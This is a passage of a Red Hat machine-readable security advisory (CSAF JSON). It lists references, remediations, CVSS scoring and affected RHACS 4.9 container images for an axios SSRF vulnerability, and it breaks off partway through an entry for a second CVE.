"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62718"
},
{
"category": "external",
"summary": "https://datatracker.ietf.org/doc/html/rfc1034#section-3.1",
"url": "https://datatracker.ietf.org/doc/html/rfc1034#section-3.1"
},
{
"category": "external",
"summary": "https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2",
"url": "https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df",
"url": "https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/pull/10661",
"url": "https://github.com/axios/axios/pull/10661"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/releases/tag/v1.15.0",
"url": "https://github.com/axios/axios/releases/tag/v1.15.0"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5",
"url": "https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5"
}
],
"release_date": "2026-04-09T14:31:46.067000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T14:29:00+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.0,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Server-Side Request Forgery and proxy bypass due to improper hostname normalization"
},
{
"cve": "CVE-2026-32281",
"cwe": {
"id": "CWE-1050",
"name": "Excessive Platform Resource Consumption within a Loop"
},
"discovery_date": "2026-04-08T02:01:00.930989+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
